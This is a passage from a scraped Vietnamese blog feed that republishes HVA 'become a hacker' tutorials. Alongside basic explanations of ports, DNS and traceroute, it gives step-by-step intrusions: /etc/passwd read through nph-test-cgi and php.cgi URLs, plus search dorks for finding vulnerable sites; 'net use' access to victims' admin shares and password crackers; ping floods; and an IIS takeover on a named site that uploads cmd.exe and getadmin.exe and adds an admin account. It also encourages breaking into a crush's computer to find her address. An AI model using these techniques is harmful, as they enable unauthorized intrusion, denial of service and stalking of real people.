``Crackerjack``, để ***** passwd cất trong đó . Công việc tiếp theo hẳn các bạn đã biết là mình phải làm gì rồI , lấy user name và passwd hợp lệ đột nhập vào rùi xem thử mấy cô cậu “tâm sự” những gì trong đó , nhưng các bạn cũng đừng có đổi pass của họ hay quậy họ nhé . &lt;br /&gt;Cách này các bạn cũng có thể áp dụng để lấy pass của admin vì hầu hết những thành viên trong nhóm kín đều là “có chức có quyền” cả . &lt;br /&gt;&lt;br /&gt;23 . ) Tìm hiểu về CGI ? &lt;br /&gt;&lt;br /&gt;_ CGI là từ viết tắt của Common Gateway Interface , đa số các Website đều đang sử dụng chương trình CGI ( được gọI là CGI script ) để thực hiện những công việc cần thiết 24 giờ hằng ngày . Những nguyên bản CGI script thực chất là những chương trình được viết và được upload lên trang Web vớI những ngôn ngữ chủ yếu là Perl , C , C++ , Vbscript trong đó Perl được ưa chuộng nhất vì sự dễ dàng trong việc viết chương trình ,chiếm một dung lượng ít và nhất là nó có thể chạy liên tục trong 24 giờ trong ngày . &lt;br /&gt;_ Thông thường , CGI script được cất trong thư mục /cgi-bin/ trên trang Web như VD sau : &lt;br /&gt;&lt;br /&gt;http://www.company.com/cgi-bin/log in.cgi &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;với những công việc cụ thể như : &lt;br /&gt;+ Tạo ra chương trình đếm số người đã ghé thăm . &lt;br /&gt;+ Cho phép những ngườI khách làm những gì và không thể làm những gì trên Website của bạn . &lt;br /&gt;+ Quản lý user name và passwd của thành viên . &lt;br /&gt;+ Cung cấp dịch vụ Mail . &lt;br /&gt;+ Cung cấp những trang liên kết và thực hiện tin nhắn qua lại giữa các thành viên . &lt;br /&gt;+ Cung cấp những thông báo lỗi chi tiết .v.v….. &lt;br /&gt;&lt;br /&gt;24 . ) Cách hack Web cơ bản nhất thông qua CGI script : &lt;br /&gt;&lt;br /&gt;_ Lỗi thứ 1 : lỗi nph-test-cgi &lt;br /&gt;&lt;br /&gt;+ Đánh tên trang Web bị lỗi vào trong trình duyệt của bạn . &lt;br /&gt;+ Đánh dòng sau vào cuốI cùng : /cgi-bin/nph-test-cgi &lt;br /&gt;+ Lúc đó trên URL bạn sẽ nhìn giống như thế này : &lt;br /&gt;&lt;br /&gt;http://www.servername.com/cgi-bin/ nph-test-cgi &lt;br /&gt;&lt;br /&gt;+ Nếu thành công bạn sẽ thấy các thư mục được cất bên trong . Để xem thư mục nào bạn đánh tiếp : &lt;br /&gt;&lt;br /&gt;CODE &lt;br /&gt;? /* &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;+ file chứa passwd thường được cất trong thư mục /etc , bạn hãy đánh trên URL dòng sau : &lt;br /&gt;&lt;br /&gt;http://www.servername.com/cgi-bin/ nph-test-cgi?/etc/* &lt;br /&gt;&lt;br /&gt;_ Lỗi thứ 2 : lỗi php.cgi &lt;br /&gt;&lt;br /&gt;+ Tương tự trên bạn chỉ cần đánh trên URL dòng sau để lấy pass : &lt;br /&gt;&lt;br /&gt;http://www.servername.com/cgi-bin/ php.cgi?/etc/passwd &lt;br /&gt;&lt;br /&gt;Quan trọng là đây là những lỗi đã cũ nên việc tìm các trang Web để các bạn thực hành rất khó , các bạn hãy vào trang google.com rồi đánh từ khoá : &lt;br /&gt;&lt;br /&gt;/cgi-bin/php.cgi?/etc/passwd] &lt;br /&gt;hoặc cgi-bin/nph-test-cgi?/etc &lt;br /&gt;&lt;br /&gt;sau đó các bạn hãy tìm trên đó xem thử trang nào chưa fix lỗi để thực hành nhé . &lt;br /&gt;&lt;br /&gt;25 . ) Kỹ thuật xâm nhập máy tính đang online : &lt;br /&gt;&lt;br /&gt;_ Xâm nhập máy tính đang online là một kỹ thuật vừa dễ lạI vừa khó . Bạn có thể nói dễ khi bạn sử dụng công cụ ENT 3 nhưng bạn sẽ gặp vấn đề khi dùng nó là tốc độ sử dụng trên máy của nạn nhân sẽ bị chậm đi một cách đáng kể và những máy họ không share thì không thể xâm nhập được, do đó nếu họ tắt máy là mình sẽ bị công cốc khi chưa kịp chôm account , có một cách êm thấm hơn , ít làm giảm tốc độ hơn và có thể xâm nhập khi nạn nhân không share là dùng chương trình DOS để tấn công . Ok , ta sẽ bắt đầu : &lt;br /&gt;_ Dùng chương trình scan IP như ENT 3 để scan IP mục tiêu . &lt;br /&gt;_ Vào Start == &gt; Run gõ lệnh cmd . &lt;br /&gt;_ Trong cửa sổ DOS hãy đánh lệnh “net view ” &lt;br /&gt;&lt;br /&gt;CODE &lt;br /&gt;+ VD : c:\net view 203.162.30.xx &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;_ Bạn hãy nhìn kết quả , nếu nó có share thì dễ quá , bạn chỉ cần đánh tiếp lệnh &lt;br /&gt;&lt;br /&gt;net use &lt;ổ đĩa bất kỳ trên máy của bạn &gt; : &lt;ổ share của nạn nhân &gt; &lt;br /&gt;&lt;br /&gt;+ VD : c:\net use E : 203.162.30.xxC &lt;br /&gt;&lt;br /&gt;_ Nếu khi kết nối máy nạn nhân mà có yêu cầu sử dụng Passwd thì bạn hãy download chương trình dò passwd về sử dụng ( theo tôi bạn hãy load chương trình “pqwak2” áp dụng cho việc dò passwd trên máy sử dụng HĐH Win98 hoặc Winme và chương trình “xIntruder” dùng cho Win NT ) . Chú ý là về cách sử dụng thì hai chương trình tương tự nhau , dòng đầu ta đánh IP của nạn nhân , dòng thứ hai ta đánh tên ổ đĩa share của nạn nhân nhưng đối với “xIntruder” ta chú ý chỉnh Delay của nó cho hợp lý , trong mạng LAN thì Delay của nó là 100 còn trong mạng Internet là trên dướI 5000 . &lt;br /&gt;_ Nếu máy của nạn nhân không có share thì ta đánh lệnh : &lt;br /&gt;&lt;br /&gt;net use &lt;ổ đĩa bất kỳ trên máy của bạn &gt; : c$ (hoặc d$)``administrator`` &lt;br /&gt;&lt;br /&gt;+ VD : net use E : 203.162.30.xxC$``administrator`` &lt;br /&gt;&lt;br /&gt;Kiểu chia sẽ bằng c$ là mặc định đối với tất cả các máy USER là ``administrator`` . &lt;br /&gt;_ Chúng ta có thể áp dụng cách này để đột nhập vào máy của cô bạn mà mình “thầm thương trộm nhớ” để tìm những dữ liệu liên quan đến địa chỉ của cô nàng ( với điều kiện là cô ta đang dùng máy ở nhà và bạn may mắn khi tìm được địa chỉ đó ) . Bạn chỉ cần chat Y!Mass rồi vào DOS đánh lệnh : &lt;br /&gt;&lt;br /&gt;c:\netstat –n &lt;br /&gt;&lt;br /&gt;Khi dùng cách này bạn hãy tắt hết các cửa sổ khác chỉ để khung chat Y!Mass với cô ta thôi , nó sẽ giúp bạn dễ dàng hơn trong việc xác định địa chỉ IP của cô ta . Sau đó bạn dùng cách xâm nhập mà tôi đã nói ở trên .( Có lẽ anh chàng tykhung của chúng ta hồi xưa khi tán tỉnh cô bạn ở xa qua mạng cũng dùng cách này để đột nhập và tìm hiểu địa chỉ của cô ta đây mà , hi`hi` . ) &lt;br /&gt;Bạn sẽ thành công nếu máy của nạn nhân không cài firewall hay proxy . &lt;br /&gt;&lt;br /&gt;================================================== = = &lt;br /&gt;&lt;br /&gt;Nhiều bạn có yêu cầu tôi đưa ra địa chỉ chính xác cho các bạn thực tập , nhưng tôi không thể đưa ra được vì rút kinh nghiệm những bài hướng dẫn có địa chỉ chính xác , khi các bạn thực hành xong đoạt được quyền admin có bạn đã xoá cái database của họ . Như vậy HVA sẽ mang tiếng là nơi bắt nguồn cho sự phá hoại trên mạng . mong các bạn thông cảm , nếu có thể thì tôi chỉ nêu những cách thức để các bạn tìm những dịa chỉ bị lỗi đó chứ không đưa ra địa chỉ cụ thể nào . &lt;br /&gt;&lt;br /&gt;================================================== = = &lt;br /&gt;&lt;br /&gt;Ở phần 4 tôi sẽ đề cập đến kỹ thuật chống xâm nhập vào máy tính của mình khi bạn online , tìm hiểu sơ các bước khi ta quyết định hack một trang Web , kỹ thuật tìm ra lỗi trang Web để thực hành , kỹ thuật hack Web thông qua lỗi Gallery.v.v……. &lt;br /&gt;&lt;br /&gt;GOOKLUCK!!!!!!!!! &lt;br /&gt;&lt;br /&gt;( Hết phần 3 )&lt;br /&gt;&lt;br /&gt;Anhdenday &lt;br /&gt;HVA&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;/script&gt;</description><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total></item><item><title>Những hiểu biết cơ bản nhất để trở thành Hacker - Phần 2</title><link>http://blogthuthuatvn.blogspot.com/2009/10/nhung-hieu-biet-co-ban-nhat-e-tro-thanh_09.html</link><category>Câu chuyện IT</category><author>noreply@blogger.com (nakazasen)</author><pubDate>Fri, 9 Oct 2009 02:27:00 +0700</pubDate><guid isPermaLink="false">tag:blogger.com,1999:blog-3429202090384957014.post-7748315811183047908</guid><description>&lt;title&gt;Hacker02&lt;/title&gt; &lt;meta content="Word.Document" name="ProgId"&gt; &lt;meta content="Microsoft Word 9" name="Generator"&gt; &lt;meta content="Microsoft Word 9" name="Originator"&gt;&lt;link style="font-family: arial; font-weight: bold;" href="./Hacker02_files/filelist.xml" rel="File-List"&gt;&lt;link style="font-family: arial; font-weight: bold;" href="./Hacker02_files/editdata.mso" rel="Edit-Time-Data"&gt; &lt;style&gt; v\:* {behavior:url(#default#VML);} o\:* {behavior:url(#default#VML);} w\:* {behavior:url(#default#VML);} .shape {behavior:url(#default#VML);} &lt;/style&gt;  &lt;style&gt; &lt;!--  /* Style Definitions */ p.MsoNormal, li.MsoNormal, div.MsoNormal 	{mso-style-parent:""; 	margin:0cm; 	margin-bottom:.0001pt; 	mso-pagination:widow-orphan; 	font-size:12.0pt; 	font-family:"Times New Roman"; 	mso-fareast-font-family:"Times New Roman";} a:link, span.MsoHyperlink 	{color:blue; 	text-decoration:underline; 	text-underline:single;} a:visited, span.MsoHyperlinkFollowed 	{color:purple; 	text-decoration:underline; 	text-underline:single;} span.highlight 	{mso-style-name:highlight;} @page Section1 	{size:21.0cm 842.0pt; 	margin:2.0cm 2.0cm 2.0cm 3.0cm; 	mso-header-margin:36.0pt; 	mso-footer-margin:36.0pt; 	mso-paper-source:0;} div.Section1 	{page:Section1;} --&gt; &lt;/style&gt;  &lt;div style="font-family: arial; font-weight: bold;" class="Section1"&gt;  &lt;p class="MsoNormal"&gt; &lt;span style="font-size: 14pt;" lang="VI"&gt;&lt;/span&gt;&lt;span style="font-size: 14pt;" lang="VI"&gt; &lt;/span&gt;&lt;span style="" lang="VI"&gt;14 . )  Vitual port là gì ?
&lt;br /&gt;
&lt;br /&gt;_ Vitual port ( cổng ảo ) là 1 số tự nhiên đựợc  gói ở trong TCP(Tranmission Control Protocol) và UDP(User Diagram Protocol)  header. Như mọi nguòi đã biết, Windows có thể chạy nhiều chương trình 1 lúc, mỗi  chương trình này có 1 cổng riêng dùng để truyền và nhận dữ liệu. Ví dụ 1 máy có  địa chỉ IP là 127.0.0.1 chạy WebServer, FTP_Server, POP3 &lt;a href="http://www.ddth.com/autolink.php?id=5&amp;amp;script=showthread&amp;amp;forumid=32" target="_blank"&gt;server&lt;/a&gt;, etc, những dịch vụ này đều đuọc chạy trên 1 IP address  là 127.0.0.1, khi một gói tin đuọc gửi đến làm thế nào máy tính của chúng ta  phân biệt được gói tin này đi vào dịch vụ nào WebServer hay FTP &lt;a href="http://www.ddth.com/autolink.php?id=5&amp;amp;script=showthread&amp;amp;forumid=32" target="_blank"&gt;server&lt;/a&gt; hay SM! TP? Chính vì thế Port xuất hiện. Mỗi dịch vụ có  1 số port mặc định, ví dụ FTP có port mặc định là 21, web service có port mặc  định là 80, POP3 là 110, SMTP là 25 vân vân....
&lt;br /&gt;
&lt;br /&gt;Người quản trị mạng có  thể thay đổi số port mặc định này, nếu bạn ko biết số port trên một máy chủ, bạn  ko thể kết nối vào dịch vụ đó được. Chắc bạn đã từng nghe nói đến PORT MAPPING  nhưng có lẽ chưa biết nó là gì và chức năng thế nào. Port mapping thực ra đơn  giản chỉ là quá trình chuyển đổi số port mặc định của một dịch vụ nào đó đến 1  số khác. Ví dụ Port mặc định của WebServer là 80, nhưng thỉnh thoảng có lẽ bạn  vẫn thấy &lt;a href="http://www.xxx.com:8080/" target="_blank"&gt;http://www.xxx.com:8080&lt;/a&gt; , 8080 ở đây chính là số port của &lt;a href="http://www.ddth.com/autolink.php?id=1&amp;amp;script=showthread&amp;amp;forumid=32" target="_blank"&gt;host&lt;/a&gt; xxx nhưng đã đuợc nguòi quản trị của &lt;a href="http://www.ddth.com/autolink.php?id=1&amp;amp;script=showthread&amp;amp;forumid=32" target="_blank"&gt;host&lt;/a&gt; này ``map`` từ 80 thành 8080.
&lt;br /&gt;
&lt;br /&gt;( Tài liệu của HVA  )
&lt;br /&gt;
&lt;br /&gt;15 . ) DNS là gì ?
&lt;br /&gt;
&lt;br /&gt;_ DNS là viết tắt của Domain Name  System. Một máy chủ DNS đợi kết nối ở cổng số 53, có nghĩa là nếu bạn muốn kết  nối vào máy chủ đó, bạn phải kết nối đến cổng số 53. Máy chủ chạy DNS chuyển  hostname bằng các chữ cái thành các chữ số tương ứng và ngược lại. Ví dụ:  127.0.0.1 -- &gt; localhost và localhost--- &gt; 127.0.0.1 .
&lt;br /&gt;
&lt;br /&gt;( Tài liệu  của HVA )
&lt;br /&gt;
&lt;br /&gt;16 . ) Đôi điều về Wingate :
&lt;br /&gt;
&lt;br /&gt;_ WinGate là một  chương trình đơn giản cho phép bạn chia các kết nối ra. Thí dụ: bạn có thể chia  sẻ 1 modem với 2 hoặc nhiều máy . WinGate dùng với nhiều proxy khác nhau có thể  che giấu bạn .
&lt;br /&gt;_ Làm sao để Wingate có thể che dấu bạn ? Hãy làm theo tôi :  Bạn hãy telnet trên cổng 23 trên máy chủ chạy WinGate telnet proxy và bạn sẽ có  dấu nhắc WinGate &gt; . Tại dấu nhắc này bạn đánh vào tên &lt;a href="http://www.ddth.com/autolink.php?id=5&amp;amp;script=showthread&amp;amp;forumid=32" target="_blank"&gt;server&lt;/a&gt;, cùng một khoảng trống và cổng bạn muốn kết nối vào. VD  :
&lt;br /&gt;
&lt;br /&gt;CODE
&lt;br /&gt;telnet wingate.net
&lt;br /&gt;WinGate &gt; victim.com 23 
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;ta telnet đến cổng 23 vì đây là cổng mặc định khi bạn cài Wingate .  lúc này IP trên máy mà victim chộp được của ta là IP của máy chủ chứa Wingate  proxy đó .
&lt;br /&gt;_ Làm sao để tìm Wingate ?
&lt;br /&gt;+ Nếu bạn muốn tìm IP WinGates  tĩnh (IP không đổi) thì đến yahoo hay một trang tìm kiếm cable modem. Tìm kiếm  cable modems vì nhiều người dùng cable modems có WinGate để họ có thể chia sẻ  đường truyền rộng của nó cable modems cho những máy khác trong cùng một nhà .  Hoặc bạn có thể dùng Port hay Domain scanners và scan Port 1080 .
&lt;br /&gt;+ Để tìm  IP động (IP thay đổi mỗi lần user kết nối vào internet) của WinGates bạn có thể  dùng Domscan hoặc các chương trình quét khác . Nếu dùng Domscan bạn hãy nhập  khoảng IP bất kỳ vào box đầu tiên và số 23 vào box thứ 2 . Khi đã có kết quả ,  bạn hãy thử lần lượt telnet đến các địa chỉ IP tìm đựơc ( đã hướng dẫn ở trên ),  nếu nó xuất hiện dấu “Wingate &gt; ” thì bạn đã tìm đúng máy đang sử dụng  Wingate rồI đó .
&lt;br /&gt;+ Theo kinh nghiệm của tôi thì bạn hãy down wingatescanner  về mà sài , nó có rất nhièu trên mạng .
&lt;br /&gt;
&lt;br /&gt;17 . ) Đôi điều về Traceroute  :
&lt;br /&gt;
&lt;br /&gt;_ Traceroute là một chương trình cho phép bạn xác định được đường  đi của các gói packets từ máy bạn đến hệ thống đích trên mạng Internet.
&lt;br /&gt;_  bạn hãy xem VD sau :
&lt;br /&gt;
&lt;br /&gt;CODE
&lt;br /&gt;C:\windows &gt; tracert 203.94.12.54 
&lt;br /&gt;
&lt;br /&gt;Tracing route to 203.94.12.54 over a maximum of 30 hops
&lt;br /&gt;
&lt;br /&gt;1  abc.netzero.com (232.61.41.251) 2 ms 1 ms 1 ms
&lt;br /&gt;2 xyz.Netzero.com  (232.61.41.0) 5 ms 5 ms 5 ms
&lt;br /&gt;3 232.61.41.10 (232.61.41.251) 9 ms 11 ms 13 ms 
&lt;br /&gt;4 we21.spectranet.com (196.01.83.12) 535 ms 549 ms 513 ms
&lt;br /&gt;5 isp.net.ny  (196.23.0.0) 562 ms 596 ms 600 ms
&lt;br /&gt;6 196.23.0.25 (196.23.0.25) 1195 ms1204 ms 
&lt;br /&gt;7 backbone.isp.ny (198.87.12.11) 1208 ms1216 ms1233 ms
&lt;br /&gt;8 asianet.com  (202.12.32.10) 1210 ms1239 ms1211 ms
&lt;br /&gt;9 south.asinet.com (202.10.10.10) 1069  ms1087 ms1122 ms
&lt;br /&gt;10 backbone.vsnl.net.in (203.98.46.01) 1064 ms1109 ms1061  ms
&lt;br /&gt;11 newdelhi-01.backbone.vsnl.net.in (203.102.46.01) 1185 ms1146 ms1203 ms 
&lt;br /&gt;12 newdelhi-00.backbone.vsnl.net.in (203.102.46.02) ms1159 ms1073 ms
&lt;br /&gt;13  mtnl.net.in (203.194.56.00) 1052 ms 642 ms 658 ms
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;Tôi cần biết đường  đi từ máy tôi đến một &lt;a href="http://www.ddth.com/autolink.php?id=1&amp;amp;script=showthread&amp;amp;forumid=32" target="_blank"&gt;host&lt;/a&gt; trên mạng Internet có địa chỉ ip là 203.94.12.54. Tôi cần  phải tracert đến nó! Như bạn thấy ở trên, các gói packets từ máy tôi muốn đến  được 203.94.12.54 phải đi qua 13 hops(mắc xích) trên mạng. Đây là đưòng đi của  các gói packets .
&lt;br /&gt;_ Bạn hãy xem VD tiếp theo :
&lt;br /&gt;
&lt;br /&gt;CODE
&lt;br /&gt;host2 #  traceroute xyz.com
&lt;br /&gt;
&lt;br /&gt;traceroute to xyz.com (202.xx.12.34), 30 hops max, 40  byte packets
&lt;br /&gt;1 isp.net (202.xy.34.12) 20ms 10ms 10ms
&lt;br /&gt;2 xyz.com  (202.xx.12.34) 130ms 130ms 130ms
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;+ Dòng đầu tiên cho biết hostname  và địa chỉ IP của hệ thống đích. Dòng này còn cho chúng ta biết thêm giá trị  TTL&lt;=30 và kích thước của datagram là 40 bytes(20-bytes IP Header + 8-bytes  UDP Header + 12-bytes user data).
&lt;br /&gt;+ Dòng thứ 2 cho biết router đầu tiên nhận  được datagram là 202.xy.34.12, giá trị của TTL khi gởi đến router này là 1.  Router này sẽ gởi trở lại cho chương trình traceroute một ICMP message error  ``Time Exceeded``. Traceroute sẽ gởi tiếp một datagram đến hệ thống đích.
&lt;br /&gt;+  Dòng thứ 3, xyz.com(202.xx.12.34) nhận được datagram có TTL=1(router thứ nhất đã  giảm một trước đó - TTL=2-1=1). Tuy nhiên, xyz.com không phải là một router, nó  sẽ gởi trở lại cho traceroute một ICMP error message ``Port Unreachable``. Khi  nhận được ICMP message này, traceroute sẽ biết được đã đến được hệ thống đích  xyz.com và kết thúc nhiệm vụ tại đây.
&lt;br /&gt;+ Trong trường hợp router không trả  lời sau 5 giây, traceroute sẽ in ra một dấu sao ``*``(không biết) và tiếp tục  gởi datagram khác đến host đích!
&lt;br /&gt;_Chú ý:
&lt;br /&gt;Trong windows: tracert hostname 
&lt;br /&gt;Trong unix: traceroute hostname
&lt;br /&gt;
&lt;br /&gt;( Tài liệu của viethacker.net ) 
&lt;br /&gt;
&lt;br /&gt;18 . ) Ping và cách sử dụng :
&lt;br /&gt;
&lt;br /&gt;_ Ping là 1 khái niệm rât  đơn giản tuy nhiên rất hữu ích cho việc chẩn đoán mạng. Tiểu sử của từ ``ping``  như sau: Ping là tiếng động vang ra khi 1 tàu ngầm muốn biết có 1 vật thể khác ở  gần mình hay ko, nếu có 1 vật thể nào đó gần tàu ngầm tiếng sóng âm này sẽ va  vào vật thể đó và tiếng vang lại sẽ là ``pong`` vậy thì tàu ngầm đó sẽ biết là  có gì gần mình.
&lt;br /&gt;_Trên Internet, khái niệm Ping cũng rất giống với tiểu sử  của nó như đã đề cập ở trên. Lệnh Ping gửi một gói ICMP (Internet Control  Message Protocol) đến host, nếu host đó ``pong`` lại có nghĩa là host đó tồn tại  (hoặc là có thể với tới đựoc). Ping cũng có thể giúp chúng ta biêt được luợng  thời gian một gói tin (data packet) đi từ máy tính của mình đến 1 host nào đó. 
&lt;br /&gt;_Ping thật dễ dàng, chỉ cần mở MS-DOS, và gõ ``ping địa_chỉ_ip``, mặc định  sẽ ping 4 lần, nhưng bạn cũng có thể gõ
&lt;br /&gt;
&lt;br /&gt;CODE
&lt;br /&gt;``ping ip.address -t`` 
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;Cách này sẽ làm máy ping mãi. Để thay đổi kích thước ping làm như  sau:
&lt;br /&gt;
&lt;br /&gt;CODE
&lt;br /&gt;``ping -l (size) địa_chỉ_ip ``
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;Cái ping làm là  gửi một gói tin đến một máy tính, sau đó xem xem mất bao lâu gói tin rồi xem xem  sau bao lâu gói tin đó quay trở lại, cách này xác định được tốc độ của kết nối,  và thời gian cần để một gói tin đi và quay trở lại và chia bốn (gọi là ``trip  time``). Ping cũng có thể được dùng để làm chậm đi hoặc đổ vỡ hệ thống bằng lụt  ping. Windows 98 treo sau một phút lụt ping (Bộ đệm của kết nối bị tràn – có qua  nhiều kết nối, nên Windows quyết định cho nó đi nghỉ một chút). Một cuộc tấn  công “ping flood” sẽ chiếm rất nhiều băng thông của bạn, và bạn phải có băng  thông lớn hơn đối phương ( trừ khi đối phương là một máy chạy Windows 98 và bạn  có một modem trung bình, bằng cách đó bạn sẽ hạ gục đối phương sau xấp xỉ một  phút lụt ping). Lụt Ping không hiệu quả lắm đổi với những đối phương mạnh hơn  một chút. trừ khi bạn có nhiều đường và bạn kiểm soát một số lượng tương đối các  máy chủ cùng ping mà tổng băng thông lơn hơn đối phương.
&lt;br /&gt;Chú ý: option –t  của DOS không gây ra lụt ping, nó chỉ ping mục tiêu một cách liên tục, với những  khoảng ngắt quãng giữa hai lần ping liên tiếp. Trong tất cả các hệ Unix hoặc  Linux, bạn có thể dùng ping -f để gây ra lụt thực sự. Thực tế là phải ping -f  nếu bạn dùng một bản tương thích POSIX (POSIX - Portable Operating System  Interface dựa trên uniX), nếu không nó sẽ không phải là một bản Unix/Linux thực  sự, bởi vậy nếu bạn dùng một hệ điều hành mà nó tự cho nó là Unix hay Linux, nó  sẽ có tham số -f.
&lt;br /&gt;
&lt;br /&gt;( Tài liệu của HVA và viethacker.net )
&lt;br /&gt;
&lt;br /&gt;19 .  ) Kỹ thuật xâm nhập Window NT từ mạng Internet :
&lt;br /&gt;
&lt;br /&gt;_ Đây là bài học  hack đầu tiên mà tôi thực hành khi bắt đầu nghiên cứu về hack , bây giờ tôi sẽ  bày lại cho các bạn . bạn sẽ cần phảI có một số thờI gian để thực hiện được nó  vì nó tuy dễ nhưng khó . Ta sẽ bắt đầu :
&lt;br /&gt;_ Đầu tiên bạn cần tìm một server  chạy IIS :
&lt;br /&gt;_ Tiếp đến bạn vào DOS và đánh ` FTP `. VD :
&lt;br /&gt;
&lt;br /&gt;c:\Ftp &lt;a href="http://www.dodgyinc.com/" target="_blank"&gt;www.dodgyinc.com&lt;/a&gt;
&lt;br /&gt;
&lt;br /&gt;(  trang naỳ khi tôi thực hành thì vẫn còn làm được , bây giờ không biết họ đã fix  chưa , nếu bạn nào có trang nào khác thì hãy post lên cho mọI ngườI cùng làm nhé  )
&lt;br /&gt;Nếu connect thành công , bạn sẽ thấy một số dòng tương tự như thế này : 
&lt;br /&gt;
&lt;br /&gt;CODE
&lt;br /&gt;Connected to &lt;a href="http://www.dodgyinc.com/" target="_blank"&gt;www.dodgyinc.com&lt;/a&gt;.
&lt;br /&gt;220 Vdodgy Microsoft FTP Service  (Version 3.0).
&lt;br /&gt;User (www.dodgyinc.com&lt;v:shapetype id="_x0000_t75" coordsize="21600,21600" preferrelative="t" spt="75" filled="f" stroked="f" path=" m@4@5 l@4@11@9@11@9@5 xe"&gt; &lt;v:stroke joinstyle="miter"&gt;&lt;/v:stroke&gt;&lt;v:formulas&gt;&lt;v:f eqn="if lineDrawn pixelLineWidth 0 "&gt;&lt;/v:f&gt;&lt;v:f eqn="sum @0 1 0 "&gt;&lt;/v:f&gt;&lt;v:f eqn="sum 0 0 @1 "&gt;&lt;/v:f&gt;&lt;v:f eqn="prod @2 1 2 "&gt;&lt;/v:f&gt;&lt;v:f eqn="prod @3 21600 pixelWidth "&gt;&lt;/v:f&gt;&lt;v:f eqn="prod @3 21600 pixelHeight "&gt;&lt;/v:f&gt;&lt;v:f eqn="sum @0 0 1 "&gt;&lt;/v:f&gt;&lt;v:f eqn="prod @6 1 2 "&gt;&lt;/v:f&gt;&lt;v:f eqn="prod @7 21600 pixelWidth "&gt;&lt;/v:f&gt;&lt;v:f eqn="sum @8 21600 0 "&gt;&lt;/v:f&gt;&lt;v:f eqn="prod @7 21600 pixelHeight "&gt;&lt;/v:f&gt;&lt;v:f eqn="sum @10 21600 0 "&gt;&lt;/v:f&gt;&lt;/v:formulas&gt;&lt;v:path extrusionok="f" gradientshapeok="t" connecttype="rect"&gt;&lt;/v:path&gt;&lt;o:lock aspectratio="t" ext="edit"&gt;&lt;/o:lock&gt;&lt;/v:shapetype&gt;&lt;v:shape id="_x0000_i1025" style="width: 15pt; height: 15pt;" type="#_x0000_t75" coordsize="21600,21600" alt=""&gt;&lt;/v:shape&gt;none)):
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;Cái mà ta thấy ở trên có chứa những thông  tin rất quan trọng , nó cho ta biết tên Netbios của máy tính là “ Vdodgy ” . Từ  điều này bạn có thể suy diễn ra tên mà được sử dụng cho NT để cho phép ta có thể  khai thác , mặc định mà dịch vụ FTP gán cho nó nếu nó chưa đổi tên sẽ là  “IUSR_VDODGY” . Hãy nhớ lấy vì nó sẽ có ích cho ta . Nhập ``anonymous” trong  user nó sẽ xuất hiện dòng sau :
&lt;br /&gt;
&lt;br /&gt;CODE
&lt;br /&gt;331 Anonymous access allowed,  send identity (e-mail name) as password.
&lt;br /&gt;Password:
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;Bây giờ  passwd sẽ là bất cứ gì mà ta chưa biết , tuy nhiên , bạn hãy thử đánh vào passwd  là “anonymous” . Nếu nó sai , bạn hãy log in lạI thiết bị FTP , bạn hãy nhớ là  khi ta quay lạI lần này thì không sử dụng cách mạo danh nữa ( anonymous ) mà sử  dụng “`Guest” , thử lại passwd với “guest” xem thế nào .
&lt;br /&gt;Bây giờ bạn hãy  đánh lệnh trong DOS :
&lt;br /&gt;
&lt;br /&gt;CODE
&lt;br /&gt;Cd /c
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;Và sẽ nhìn thấy kết quả  nếu như bạn đã xâm nhập thành công , bây giờ bạn hãy nhanh chóng tìm thư mục  `cgi-bin` . Nếu như bạn may mắn , bạn sẽ tìm được dễ dàng vì thông thường hệ  thống quản lý đã đặt `cgi-bin` vào nơi mà ta vừa xâm nhập để cho các ngườI quản  lý họ dễ dàng điều khiển mạng hơn . thư mục cgi-bin có thể chứa các chương trình  mà bạn có thể lợi dụng nó để chạy từ trình duyệt Web của bạn . Ta hãy bắt đầu  “quậy” nào greenbiggrin.gif greenbiggrin.gif .
&lt;br /&gt;_ Đầu tiên , bạn hãy chuyển  tớ thư mục cgi-bin và sử dụng lệnh “Binary” ( có thể các bạn không cần dùng lệnh  này ) , sau đó bạn dánh tiếp lệnh “put cmd.exe” . Tiếp theo là bạn cần có file  hack để cài vào thư mục này , hãy tìm trên mạng để lấy 2 file quan trọng nhất đó  là `getadmin.exe` và `gasys.dll` . Download chúng xuống , một khi bạn đã có nó  hãy cài vào trong thư mục cgi-bin . Ok , coi như mọI việc đã xong , bạn hãy đóng  cửa sổ DOS .
&lt;br /&gt;Bây giờ bạn hãy đánh địa chỉ sau lên trình duyệt của bạn : 
&lt;br /&gt;
&lt;br /&gt;&lt;a href="http://www.dodgyinc.com/cgi-bin/getadmin.exe?IUSR_VDODGY"&gt;http://www.dodgyinc.com/cgi-bin/getadmin.exe?IUSR_VDODGY&lt;/a&gt;  
&lt;br /&gt;
&lt;br /&gt;Sau vài giây bạn sẽ có được câu trả lời như ở dướI đây :
&lt;br /&gt;
&lt;br /&gt;CODE 
&lt;br /&gt;CGI Error
&lt;br /&gt;The specified CGI application misbehaved by not returning a  complete set of HTTP headers. The headers it did return are:
&lt;br /&gt;Congratulations  , now account IUSR_VDODGY have administrator rights!
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;Thế là bạn đã  mạo danh admin để xâm nhập hệ thống , việc cần thiết bây giờ là bạn hãy tự tạo  cho mình một account , hãy đánh dòng sau trên IE :
&lt;br /&gt;
&lt;br /&gt;&lt;a href="http://www.dodgyinc.com/cgi-" target="_blank"&gt;http://www.dodgyinc.com/cgi-&lt;/a&gt;  bin/cmd.exe?/c%20c:\winnt\system32\net.exe%20user%2 0hacker%20toilahacker%20/add 
&lt;br /&gt;
&lt;br /&gt;dòng lệnh trên sẽ tạo cho bạn một account login với user : anhdenday và  passwd : toilahackerBây giờ bạn hãy là cho user này có account của admin , bạn  chỉ cần đánh lên IE lệnh :
&lt;br /&gt;
&lt;br /&gt;&lt;a href="http://www.dodgyinc.com/cgi-bin/ge" target="_blank"&gt;http://www.dodgyinc.com/cgi-bin/ge&lt;/a&gt; tadmin.exe?anhdenday 
&lt;br /&gt;
